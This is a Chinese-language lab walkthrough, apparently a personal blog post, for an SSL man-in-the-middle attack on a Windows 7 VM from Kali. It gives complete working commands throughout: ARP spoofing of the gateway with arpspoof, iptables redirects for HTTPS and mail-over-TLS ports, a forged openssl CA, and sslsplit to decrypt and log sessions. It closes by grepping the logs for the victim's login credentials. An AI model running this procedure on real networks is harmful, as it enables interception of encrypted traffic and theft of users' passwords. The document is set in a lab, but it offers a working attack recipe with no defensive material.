一.需要的设备:
攻击机:kali; ip地址:192.168.0.130
目标机:windows7虚拟机; ip地址:192.168.0.131
vm网关:192.168.0.2
二.思路:
SSL为安全套阶层协议。使用加密的方式保证链接的安全性。
ssl中间人攻击,顾名思义,就是在SSL回话中,作为客户端和服务器端中间的代理,进行数据的侦听和转发,从而实现在不被客户端发觉的情况下,获取回话内容的一种攻击方式。要实现ssl中间人攻击,需要实现两个目标:作为中间人;解密SSL数据。
正常情况下是,客户端和服务器直接对话模式:客户端——服务器;实施ssl中间人攻击后的对话模式:客户端——中间人——服务器。
三.ssl中间人攻击实现流程:
1.前提:网络配置正确,攻击机和目标机在同一个网段,能够ping的通。
以下所有命令均在root下进行(切换成root用户:sudo su)
2.攻击机:扮演网关
arp欺骗,让目标机认为攻击机是网关:
arpspoof -i eth0 -t 192.168.0.131 -r 192.168.0.2 —— -t后跟目标机,-r后跟网关
开启后不用关闭该窗口,再新开一个窗口做接下来的事。
目标机:用arp -a查看目标机的网关变为攻击机的MAC地址
3.攻击机:设置转发
由于此时攻击机扮演网关的角色,所以需要有转发功能。
3.1 开启ip转发:sysctl -w net.ipv4.ip_forward=1
3.2 清空nat表:iptables -t nat -F
3.3 端口转发规则配置,由于下边(4.4)sslsplit要统一监听一个端口(8080,自己随便设),所以此处需要将所有各种协议产生的数据包转发到8080端口
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8000 #http
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080 #https
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8080 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8080 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8080 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8080 #POP3S
设置完成后可以通过iptables -t nat -L命令查看
4.攻击机:ssl解密
4.1 生成私钥:openssl genrsa -out ca.key 2048
4.2 使用私钥生成证书:openssl req -new -x509 -days 200 -key ca.key -out ca.crt
生成证书过程中,会让填写一些信息,自己测试阶段可以随便填。
4.3 创建一个目录:mkdir -p test/logdir,下边要用(4.4)
4.4 使用sslsplit实施中间人攻击
正常写法(网上大佬的写法,我用了报错): sslsplit -D -l connect.log -j /root/test -S /root/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
我修改后的写法:sslsplit -D -l connect.log -j test -S test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8080 tcp 0.0.0.0 8000
该窗口也不能关 !!
目标机测试:登录www.baidu.com会提示证书出错
右键点击属性中的详细信息,可以查看到证书是你伪造的那个。
4.5 如果用户在目标机中进行登录百度,攻击者可以在攻击机中找到登录的账号和密码。
目标机上产生的连接日志都会在/test/logdir目录下,进入该目录下:cd /test/logdir
用全局搜索:grep 123456(我登陆用的账户)*,能搜索到账户密码信息,但由于像百度、淘宝这种大的机构,我们仅仅用https中间人解密并不足以看到最终的明文密码,但是https是可以解密的,用中间人攻击是成功的,这点在上边已经证实了。